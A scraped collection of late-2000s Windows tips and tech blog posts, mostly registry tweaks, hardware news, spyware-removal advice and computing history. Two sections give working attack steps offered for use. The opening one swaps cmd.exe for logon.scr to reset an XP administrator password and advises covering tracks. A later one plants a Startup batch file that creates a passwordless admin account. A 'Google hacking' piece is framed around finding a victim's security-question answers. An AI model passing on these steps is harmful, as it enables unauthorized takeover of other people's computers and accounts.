WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"
Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

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Hacking with Google, Is it Possible

hello friend i got this stuff during surfing and i found it intresting.......

Every hacker needs to develop his abilities if he wants to maintain up to date. That's why he will use every tool he can find. From all of these possible options, Google hacks have become a new instrument for hackers. Although Google hacking isn't widespread knowledge, it should be understood by any hacker and even for the everyday computer user.

But, if you want to become a hacker, Google is the way to go. Learn how to hack Google and you will acquire a powerful tool for your everyday work.

What Is Google Hacking?

Basically, it's the ability to use Google for finding hidden bits of data or information that the hacker can use for his advantage. Or in other words, hacking Google search appliance. How so? Let's say that you are a black hacker (someone who uses his hacking abilities for selfish purposes) and want to access the email account of a chosen victim. The first thing that hacker's do is to find out what is the secret question in the email account of their prey. Let's say that the secret question asks the name of the pet of the account owner. How can the hacker learn it?

Besides asking the pet's name to his victim (which is very suspicious), it's probable that that bit of information is lost somewhere in the internet. Maybe the owner went into a forum regarding pet insurance and left inside the name of his dog. These are the kind of things that Google permits to find.

Another common use is to hack Google adsense click. That way your webpage will have a higher position when a related query is made through Google. After all, more clicks means more money for you.

How Is It Done?

If you want to make a typical search in Google, let's say, house insurance, you only need to put those words in the query bar and press the search button. In the case of a Google hacker, he will use special characters that the common user doesn't use or doesn't even considered using. For example: +, /, and -.

Each one of these characters are used for special purposes. For example, if you use the minus sign just before a determined word, like dog, Google will only show those searches were the word dog doesn't appear.

One of best places for finding a how to hack with Google tutorial is the Google Hacking database, posted online by the hacker Johnny Long. In this webpage, you will notice hundreds of ways of using Google for exploiting the weak points of servers and webpages.

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Create Administrator Account using Guest Account

I was wondering if this was possible. and oh yes it is possible. but the PC in which you want to create an admin account, an administrator who logs on regularly must be present. ( I mean someone with an administrator account must log in ) This process can be divided in to .... lets say about 5 steps. and here are the cools 5 steps to create your own admin account:


1. Right click desktop NEW> Text Document


2.Write the following in the notepad
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

3.save the file and rename it to what ever you want with the extention .bat


4.Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
5.The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
Hope this helped someone who needs an admin a/C.

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Firefox Addons FIRE

Most of firefox fans are aware of awesomeness of Mozilla Firefox 3 address bar but few are aware that this awesome bar can be upgraded by using some Firefox addons and can be made more useful.

Here is the list of 5 Firefox 3 addons which can improve the working and efficiency of your Mozilla Firefox 3 address bar.

1.oldbar - Oldbar makes the location (URL) bar look like Firefox 2. If you need another alternative to this, try out Old Location Bar. Oldbar just makes the location bar look like FireFox 2 Old Location Bar makes it ACT like Firefox 2.

2.Hide Unvisited - You too can hide pages bookmarks that you haven't visited , since deleting or clearing history, from showing in the Address Bar.

3.Enter Selects - This Extension allows you to press enter in the Address Bar to select the first result without pressing down.
4.Hidden Places - Stop URLs from specified domains being added to places and the Address Bar.
5.Edit Middle - Show AwesomeBar results when editing in the middle not just at the end.
I personally feel that even without addons firefox 3 is a nice and safe web browser compared to others.

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Google Adsense " Better than any other program"

Google’s AdSense is a fascinating revenue-sharing opportunity for small, medium and large web sites. Some webmasters are designing brand new sites specifically for serving AdSense text ads. (It’s against the AdSense rules to design a site purely for AdSense, so you’ll want to include a few affiliate links or sell your own product, too.)
I read an article about how to increase adsense revenue from associate programs here is the analysis from the article
Let’s say you have a goal of earning $100,000 a year from AdSense. Is that possible? Let’s see … $100,000 divided by 365 = $274 a day. So your goal is to produce either:

• 274 pages which earn $1 a day or
• 548 pages which earn 50 cents a day or
• 1096 pages which earn 25 cents a day

The following are hypothetical cases. To earn $1 a day per page, you need, per page…

• 400 visitors, 5% click-through rate (CTR ) and average 5c payout.
• Or 200 visitors, 10% CTR and an average 5c payout.
• Or 100 visitors, 10% CTR, and an average 10c payout.
• Or 100 visitors, 5% CTR, and an average 20c payout

Let’s assume you choose a goal somewhere around the middle, say aiming for 50 visitors per page and want 274 pages earning $1 a day. You’d need 274 x 50 = 13,700 pageviews a day.
Does that sound too tough? If so, you’d better look for more profitable keywords and ways to improve your click-through rates.
Let’s try a different scenario, You choose more profitable keywords and make your $1 on average per page from, say, 10 visitors. 274 x 10 = 2740 pageviews a day, That’s looking easier to achieve, If your average visitor sees 3 pages, you now need 913 unique visitors a day.
Is that too tough to achieve in your niche? If so, create two sites, each attracting half that number, 456 unique visitors, a day, Can’t achieve those click-through rates and payouts? Then you’ll either need more pages on your sites on more niche sites.
Please note, because of the AdSense rules, these are all hypothetical cases. I’m not allowed to give real cases. Real CTR rates and payouts vary hugely.Choose the goal which best matches your site or sites.
Then start building keyword-rich pages containing well researched, profitable keywords, and get lots of high quality links to your site.
For example, if your site is about topics such as debt consolidation, web hosting or asbestos-related cancer, you’ll earn much more per click than if it’s about free things.
On the other hand, if you concentrate only on top-paying keywords, you’ll face an awful lot of tough competition.
What you want are keywords that are high in demand and low in supply, So do some careful keyword research before you build your pages.

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ATI Radeon HD 4850 gets official:available immediately

Considering that we've already seen AMD's ATI Radeon HD 4850benchmarked, it's not like we really needed some official verbiage to cement our belief that the unit was real. Nevertheless, said verbiage certainly doesn't hurt, and that's precisely what's been delivered this morning. The HD 4850 is a single-slot PCIe 2.0 card featuring 512MB of DDR3 RAM, a 625MHz clock speed, 993MHz memory speed, 480 stream processors and support for CrossFireX / DirectX 10.1. We're also told that at least Diamond Multimedia's HD 4850 is available as we speak from a number of fine retailers, thus we presume everyone else's version of the card shouldn't be too far behind.

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Google plans to become net-access nanny

Google is planning to release tools that let internet users know if their service provider (ISP) is tampering with their internet connection - for example by throttling access to popular bandwidth-heavy sites.

It is the latest round of the net neutrality debate. Net neutrals like Google say the the internet should be a straightforward commodity. Although you may pay more or less for access, what you get is always the same - freedom to use and access the internet as you wish, with all those potential activities being treated the same by your ISP.

In the opposite corner are those who think ISPs should be able to choose which services they support, and which they don't. For example, under this scheme an ISP could slow all traffic to pizza delivery sites except those it had commercial agreements with.

Google's planned software will let you know when that is happening, by presenting an easy-to-understand breakdown of how your connection has been performing. Exactly how has not been revealed. I'm guessing one way would be to let you know if certain applications or websites consistently perform badly on your connection, compared to Google's own data on how they usually perform.

Google is one of the most influential pro-neutrality organisations. But its as-yet-unnamed tool (Throottle, Nootral?) is unlikely to be downloaded by large numbers of people.

If Google wanted to push it to more than just principled geeks it could throw it in with Google Toolbar, which already comes bundled with other software. Adding the neutrality nanny into that mix could dramatically increase its impact.

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Figuring Out Which Video Card Is Right for You

When you think about upgrading a video card, do not just think it's for "gamers only." A number of specialized video cards on the market have nothing to do with games.

Here's a cross section of what's available:

• A gamer's card: The latest 3-D video cards (equipped with GeForce 7 and Radeon X850 chipsets, from NVIDIA and ATI, respectively) kick serious tail for all types of games out there - no matter which are your favorites. If you haven't seen the realistic 3-D figures that these cards can produce, visit the gaming store at your local mall and ask a salesperson to crank up the latest game. Of course, Windows will display ho-hum applications faster with one of these cards as well. Many 3-D gaming cards also offer dual monitor support so that you can run two monitors side-by-side for a really big desktop.

TIP

These high-end, 3-D cards run tremendously hot - after all, they're practically separate computers - so they usually have a fan already installed on the card. However, if you're planning on installing the card in an older PC, you should have at least two fans installed in your case - that's one for the power supply (which is standard equipment) and at least one auxiliary fan (to help circulate air to all those hot components).

• An MPEG card: These cards are specifically designed for encoding and decoding Motion Picture Experts Group (MPEG) digital video (usually from a DVD, but hardware MPEG support is also very useful for doing serious video editing on your PC). The idea is simple: Let the card do the video grunt work instead of your PC's processor, and everyone is happier. High-end video cards especially designed for digital video editing are significantly more expensive than video cards meant for home and gamer machines.

• A capture card: This popular video upgrade card allows you to capture an incoming analog video signal and convert it to digital video. For example, you can connect your VCR or older analog VHS-C camcorder into the card, convert the signal to digital video, and then record CD or DVD backups of your home movies. If you can display it on your TV, you should be able to capture it with one of these toys.

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20 things about Windows XP you never knew!!!

* It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

* You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

* You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

* XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

* For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

* XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

* You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

* XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

* XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

* You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

* You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

* Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

* You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

* Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

* XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

* The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

* You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

* Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

*Windows key + Break brings up the System Properties dialogue box;
*Windows key + D brings up the desktop;
*Windows key + Tab moves through the taskbar buttons.

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Webbed-O-Meter

Curious how much hype your site is getting from consumers,
bloggers, analysts, reviewers and reporters?
Well this is your lucky day…kind of. The Webbed-O-Meter utilizes a scale of 1-100 to determine your website’s buzz. Algorithms calculate the site’s word-of-mouth by utilizing ten authoritative sources such as: Technorati, Digg, Del.icio.us and Wikipedia. I don’t think you can do much with this tool, but it is interesting.
Here’s the really funny part. When you put Webbed’s website into the Webbed-O-Meter, you get this message: “Ah, very clever. There are some things even we don’t tell!” Nice!
so check it out and see your website's Buzz. It also help you how to increase your site's Buzz.

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Task Manager disabled problem in windows xp

It is due to some kind of virus/ trojan activity which normally disables the task manager.Now due to this problem when ever the user press alt+ctrl+del to launch windows task manager it gives an error saying “Task Manager is being disabled by your administrator”.
Solution:
To Enable the Disabled Task Manager on your system
1. Press window key+r to show run prompt
2. Follow the following steps
1. Enter gpedit.msc in the run prompt and click OK
2. In the Group Policy settings window
3. Select User Configuration
4. Select Administrative Templates
5. Select System
6. Select Ctrl+Alt+Delete options
7. Select Remove Task Manager
8. Double-click the Remove Task Manager option’.
9. Set the property of this item as disabled.
Updated on 12th FEB 2008
For Those who use Windows XP Home Edition can use the registry to enable Task Manager
1. open start >> run and type regedit
2. Navigate to the following path:
Hive: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
3. You will find a registry key with name DisableTaskMgr of type: REG_DWORD
4. Double click the key with and set the Value to 0
5. Exit the registry and restart to see the effect.

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Some Tricks for MS Windows !!!

Just a little bit of easy bugs discoverd.............

Trick #1

An Indian discovered that nobody can create a FOLDER anywhere on the computer which can be named as "CON". This is something pretty cool...and unbelievable... why this happened!

TRY IT NOW ,IT WILL NOT CREATE " CON " FOLDER


Tricks #2

For those of you using Windows, do the following:
1.) Open an empty notepad file
2.) Type "Bush hid the facts" (without the quotes)
3.) Save it as whatever you want.
4.) Close it, and re-open it.

isn't it just a really weird bug? ??


Trick #3

Microsoft crazy facts
This is something pretty cool and neat...and unbelievable... It was discovered by a Brazilian. Try it out yourself...

Open Microsoft Word and type
=rand (200, 99)
And then press ENTER
then see the magic...............................

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How To: Enable Compiz effects on Fedora Core 6 with an nVidia Card

I installed Fedora Core 6 in my system on Last week - ok yeah I know I need to get a better life. But, hey I was just mesmerized by reading the new features in Core 6 - named Zod that I had to try. Well, Zod is NO god!! After 3 reinstallations and reading through millions of articles on What the hell is the problem with Fedora Core 6, I finally managed to get everything up and working!!
Some basic instructions to the newbie planning to install Fedora Core 6.
Solving the i686 architecture with the i586 kernel and kernel-devel problem:
If you are planning to install FC6 on an i686 architecture - make note of this!! Anaconda screws up BIG TIME, and installs the i586 kernel and kernel-devel on ur i686 machine. Normally this is not a problem, however, CPU Frequency controller daemon will not work and it’ll be a pain in various parts of the anatomy if your driver / program requires a kernel-module to be installed along with it. The worst part - your architecture is still maintained as i686!! Just that anaconda installs the i586 kernel!!
Solution:


1. 1. Install yumex$ su -
   $ yum -y install yumex
2. 2. Once the installation is over, get into yumex
3. [Applications->System Tools-> Yum Extender]
4. 3. Go to the Install View once it’s done updating everything
5. 4. Install kernel-xen and kernel-devel-xen packages for the i686 architecture
6. 5. Once installation is done, reboot into the xen kernel
   
7. [which itself is not really worth having owing to tons of problems].
8. 6. Go to yumex again and remove kernel and kernel-devel packages currently for the i586 architecture
9. 7. Once it is done, Go to the Install View and add kernel and kernel-devel packages, but now for the i686 architecture
10. 8. Once it is done, reboot into the non-xen kernel and remove kernel-xen and kernel- devel-xen packages
11. 9. Boom you are done and you can get to installing the packages for nvidia/ati drivers, ntfs support etc.

I read there is a simpler way - aka the more adventurous way of getting ur kernel to the i686 architecture. It’s provided here!! Me, not being so adventurous, especially on breaking Linux 3 times after installation, I stuck to the safer bet :-D!
Solving the Desktop Effects cannot be enabled problem for nVidia cards
Another crazy thing I noticed - after reading so much about Compiz being installed by default with Fedora Core 6 and GNome 2.16 is that - try as I may - it never got enabled!! Aaarrgghhh!! Well, so I went to the Compiz requirements site - and checked that for it to work with nVidia cards, it required driver 1.0-9625 or higher..

Known Working

ATI: Radeon 7000 through X850 (r100 through r400 generations)
Intel: i830 through i945
nVidia: all cards supported by the driver 1.0-9625 or higher

[source: http://fedoraproject.org/wiki/RenderingProject/aiglx]

And the latest stable driver in the Livna repo for Fedora Core 6 is 1.0-8776. Umm - what DO you do?
Solution:

1. 1. Enable livna-testing repo.
2. 2. Go to the update view in Yum Extender
3. 3. Select kmod-nvidia and the xorg-x11-drv packages which are 1.0-9626. Update your drivers people!! and Boom!! After a reboot - thou shall be able to enable Desktop Effects. Enjoy rotating the cube and all sortsa window wobbly effects.

Note: The Window Wobbly effects could get to you after some time, if you move around your Windows a lot :-D!!
Note to self: Need to post more links and screenshots of the same. Shall get to that in a day or two!

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Doodle for Google winner

I told you about a contest where kids in grades Kindergarten to 12 were invited to create a logo for the Google home page. The theme for the contest was "What if...?" and the winning entry was promised the honor of seeing his or her design grace the Google home page on May 22. Well, today is the day and if you visit Google.com, you will see Grace Moon's lovely drawing entitled "Up in the Clouds."

Moon is a 6th grader at Canyon Middle School in Castro Valley, California. Her vision of "What if...?" is a beautiful world in the sky. Of her design, she writes: "This new world is clean and fresh, and people are social and enlightened. Every person here is treated as family no matter who they are. The bright sun heats this ideal place with warmth, love, and brightens everyone's day." It's a lovely drawing and an beautiful sentiment.

Grace Moon may have won the top spot, but I am sure the judges had a difficult time choosing from all these wonderful entries. Congratulations to Grace and all the kids who answered the question "What if...?" with their own unique visions.

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How to beat spyware and viruses?

Here's my perennial "How to Beat Spyware".
Here's what to do if you suspect an infection on your Windows PC. (Please note these steps apply to both Windows XP and Vista.)

1) Are you sure it's spyware or a virus?

Windows pop-ups and alerts can often seem invasive enough to be viruses, especially with Vista. Try searching the web for the exact text you see on the screen to make sure you aren't dealing with an aggressive Windows message. (Many of these can be turned off, so try whatever instructions you find.) On the other hand, some viruses masquerade as Windows alerts, so tread lightly.
2) Boot in safe mode. If you have a virus, first step is to try booting in safe mode. You can get to safe mode (a simplified version of Windows that disables a lot of extra junk, possibly including some spyware apps) by restarting your PC and tapping F8 during boot. Soon you'll get a menu of options. Select "Safe Mode" (it's at the top of the menu) and wait for the machine to fully boot. The system will look funny (with a black background and larger icons, probably), but don't worry about it. This is only temporary. (Also note that many spyware applications can disable safe mode, so if you find this doesn't work, just boot normally.)
3) Run your antivirus application. This is of course assuming you have an antivirus application. You're in safe mode now, so run a full scan of your PC at maximum security levels (include the option to scan within compressed files, for example). This will probably take an hour or more, so be patient. Fix any problems the virus scan turns up. Then reboot into safe mode again using the procedure in step 2.
4) Run one or two anti-spyware applications. I used to recommend running multiple anti-spyware apps, but virtually all antivirus apps now do a pretty good job at getting rid of spyware too, so you don't need an army of additional applications just for spyware. Also, I now recommend starting with AdAware (which is free) and moving on to Spyware Doctor (free as part of the Google Pack) if you feel you need additional help. (Please note that recent versions of Spyware Doctor and Norton Antivirus have some trouble with each other.) You can try other apps too, but the once-recommended SpyBot Search & Destroy is no longer very effective, sadly. (Neither is Microsoft's own Windows Defender.) Of course, fix anything and everything these apps find.
5) Reboot normally. (Not in safe mode.) Now take stock. Still got spyware? It's time to move along to my more advanced techniques for removing the nasties.
6) Run HijackThis. HijackThis is a free software tool that scans your computer to find malware that other apps might miss. Scroll down to "Official downloads" to download the tool. Next, simply open the ZIP file you downloaded, extract the application, and run the tool (you don't need to install it). Click the "Do a system scan and save a logfile" button. You'll receive a large text file as well as a dialog box which gives you a list of active software processes, which you can then choose to delete. Unfortunately, this list includes both helpful and unhelpful software, so don't just start deleting items. Continue in step 7 to figure out how to fix your spyware infection.
7) Post your log file online. Visit this page, which offers a list of forums staffed by volunteers who can help you interpret your HijackThis log. The SWI Forums are especially busy, but most of the forums on the list are equally apt. Go to SWI and visit the "Malware Removal" forum which has over 50,000 topics listed: Those are all people like you who are seeking help getting rid of spyware. Register for an account, read the FAQ, then visit that Malware Removal forum, and post a new topic. Paste the content of the text file you created in step 5 into this topic and (politely) ask for help. You will get a response from a volunteer helper, typically within 3 days. You'll be given specific advice on what entries to remove with the HijackThis tool, and you might be pointed to additional software to run to help remove common spyware infections. Follow all the instructions and keep working with the forum helpers until either you or they give up. (And no, don't send your log file to me or post it here. I am not nearly the spyware removal expert that these guys are.)
7a) Alternately: Paste your log file into an automated tool. Don't have three days? Try simply pasting your HijackThis log file into this form. It does a pretty good job at auto-analyzing what's wrong with your machine, with no waiting. As well, if that doesn't work, you can search for the items you find in the HijackThis log by name to see what they are and how to remove them, if they're spyware. This can be quite time consuming, though.
8) Try System Restore. If that doesn't work, you might try running Windows System Restore to roll back your OS to a time before the infection happened. This isn't foolproof: You might not have System Restore turned on, or the spyware might have shut System Restore off, as well. But it's worth a shot. With either XP or Vista, System Restore can be found under Start > All Programs > Accessories > System Tools > System Restore.
9) Give up and wipe your hard drive. At this point, you've exhausted all the options I know of. You might try again at steps 6/7 to make sure you've done everything you can to salvage the PC. Forum helpers will often work with you for weeks to help fight a spyware infection, but there are tens of thousands of possible variants out there, with new ones cropping up every day. It's just not possible to clean them all, every time. Sometimes the only thing you can do is call it quits, reformat your hard drive, and reinstall your OS. Again, make sure you have your backups ready and verified. Once you're up and running, reinstall your antivirus and anti-spyware applications, and stay vigilant against infection. Good luck.

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The worst computer viruses of all time

If you haven't experienced a computer virus yet, just wait -- you probably will.
Fortunately, you missed the real heyday of computer viruses when anti-virus software wasn't very widely used, and virus attacks caused millions of dollars in damages overnight. Today's viruses can still be nightmarish, but for the average user, cleanup is considerably easier than it was just a few years ago, when the only solution in many cases was reformatting your hard drive and starting from scratch (and even that didn't do the trick sometimes).
So join me on a trip down memory lane as we revisit some of the worst viruses of all time and count our blessings that our computers are still up and running despite it all. (Though, please note, "worst" is a matter of considerable debate in the security industry, as the number of infected machines and amount of financial loss is always estimated. If you think another virus was worse than these, please post it in the comments to remind me!)
The worst viruses of all time
Brain, 1986
It all started here: Brain was the first "real" virus ever discovered, back in 1986. Brain didn't really hurt your PC, but it launched the malware industry with a bang and gave bad ideas to over 100,000 virus creators for the next 2 decades.
Michelangelo, 1991
The worst MS-DOS virus ever, Michelangelo attacked the boot sector of your hard drive and any floppy drive inserted into the computer, which caused the virus to spread rapidly. After spreading quietly for months, the virus "activated" on March 6, and promptly started destroying data on tens of thousands of computers.
Melissa, 1999
Technically a worm, Melissa (named after a stripper) collapsed entire email systems by causing computers to send mountains of messages to each other. The author of the virus was eventually caught and sentenced to 20 months in prison.
ILOVEYOU, 2000
This was notable for being one of the first viruses to trick users into opening a file, which in this case claimed to be a love letter sent to the recipient. In reality, the file was a VBS script that sent mountains of junk mail and deleted thousands of files. The results were terribly devastating- one estimate holds that 10 percent of all computers were affected, to a cost of $5.5 billion. It remains perhaps the worst worm of all time.
Code Red, 2001
An early "blended threat" attack, Code Red targeted Web servers instead of user machines, defacing websites and later launching denial-of-service attacks on a host of IP addresses, including those of the White House.
Nimda, 2001
Built on Code Red's attack system of finding multiple avenues into machines (email, websites, network connections, and others), Nimda infected both Web servers and user machines. It found paths into computers so effectively that, 22 minutes after it was released, it became the Internet's most widespread virus at the time.
Klez, 2001
An email virus, Klez pioneered spoofing the "From" field in email messages it sent, making it impossible to tell if Bill Gates did or did not really send you that information about getting free money.
Slammer, 2003
Another fast spreader, this worm infected about 75,000 systems in just 10 minutes, slowing the Internet to a crawl (much like Code Red) and shutting down thousands of websites.
MyDoom, 2004
Notable as the fastest-spreading email virus of all time, MyDoom infected computers so they would, in turn, send even more junk mail. In a strange twist, MyDoom was also used to attack the website of SCO Group, a very unpopular company that was suing other companies over its code being used in Linux distributions.
Storm, 2007
The worst recent virus, Storm spread via email spam with a fake attachment and ultimately infected up to 10 million computers, causing them to join its zombie botnet.

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A computer that can recognize attractiveness in women has been built.

The program measures facial symmetry, hair color and skin quality, among other attributes, and compares them to a database of human responses.

It can then make an "aesthetic judgment" about someone's hotness that is almost identical to opinions of real-life people.

This could definitely be useful. (Hooking up with Scarlett Johansson and Marion Cotillard, but only have one seat in the Jaguar? Consult the laptop...Cotillard wins!)

But who says what's attractive and what's not? Miss Surrey 2008 has recently shown us how beauty comes in many forms.

More important, robots are already stronger, more intelligent and more resilient than human males. If they start hitting on our women, too, we won't be able to compete! We need clear boundaries! Didn't humanity learn anything from Blade Runner?

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Great Hackers

The 414s
The 414s were a gang of six teenagers named after their Milwaukee, Wisconsin area code, who broke into dozens of computer systems throughout the United States and Canada in 1983.Their exploits included Los Alamos National Laboratory, Sloan-Kettering Cancer Center and Security Pacific Bank.The incident appeared as the cover storyof Newsweek with the title Beware: Hackers at play,possibly the first mass-media use of the term hacker in the context of computersecurity. As a result, the U.S. House of Representatives held hearings on computer security and passed several laws.

Mark Abene
Mark Abene (also known as Phiber Optik) inspired thousands of teenagers around the country to "study" the internal workings of the United States phone system. One of the founders of the Masters of Deception group.

Dark Avenger
Dark Avenger is the pseudonym of a Bulgarian virus writer who invented polymorphic code in 1992 as a means to circumvent the type of pattern recognition used by Anti-virus software, and nowadays also intrusion detection systems.

John Draper
John Draper(also known as Captain Crunch) is widely credited with evangelizing the use of the 2600 hertz tone generated by whistles distributed in Captain Crunch cereal boxes in the 1970s, and sometimes inaccurately credited with discovering their use.Draper served time in prison for his work, and is believed to have introduced Steve Wozniak to phone phreaking through the 2600Hz tone. Draper now develops anti-spam and security software.

Farid Essebar
Farid Essebar (also known as Diabl0) is the creator of Zotob

Nahshon Even-Chaim
Nahshon Even-Chaim (also known as Phoenix) was a leading member of Australianhacking group The Realm. He targeted US defense and nuclear research computer systemsin late 1980s until his capture by Australian Federal Police in 1990. He and fellow Realm members Electron and Nom were the world's first computer intruders prosecuted based on evidence gathered from remote computer intercept.

Markus Hess
Markus Hess is a West German who hacked into United States Military sites and collected information for the KGB,he was eventually tracked down by Clifford Stoll.

Jonathan James(convicted cybercriminal)
Jonathan James(also known as c0mrade) downloaded $1.7 million dollars worth of softwarewhich controlled the International Space Station's life sustaining elements, and intercepted thousands of electronic messages relating to U.S. nuclear activities from the Department of Defense. Sentenced at age 16, he was the youngest person ever incarcerated for cybercrime in the United States.

ne0h
ne0h was reported to have been employed by a Pakistani terrorist with Al-Qaeda connections, in order to steal student information from a Chinese university(reportedly, one comparable to MIT[citation needed]), India's BhabhaAtomic Research Centre, and SIPRNet, the U.S. Department of Defense's Defense Data Network.

Adrian Lamo
Lamo surrendered to federal authorities in 2003 after a brief manhunt, and was charged with nontechnical but surprisingly successful intrusions into computer systems at Microsoft, The New York Times, Lexis-Nexis, MCI WorldCom, SBC, Yahoo!, and others. His methods were controversial, and his full-disclosure-by-media practices led some to assert that he was publicity-motivated.

Vladimir Levin
Vladimir Levin allegedly masterminded the Russian hacker gang that tricked Citibank's computers into spitting out $10 million. To this day, the method used, or even if Vladimirwas a mathematician, is unknown.

Kevin Mitnick
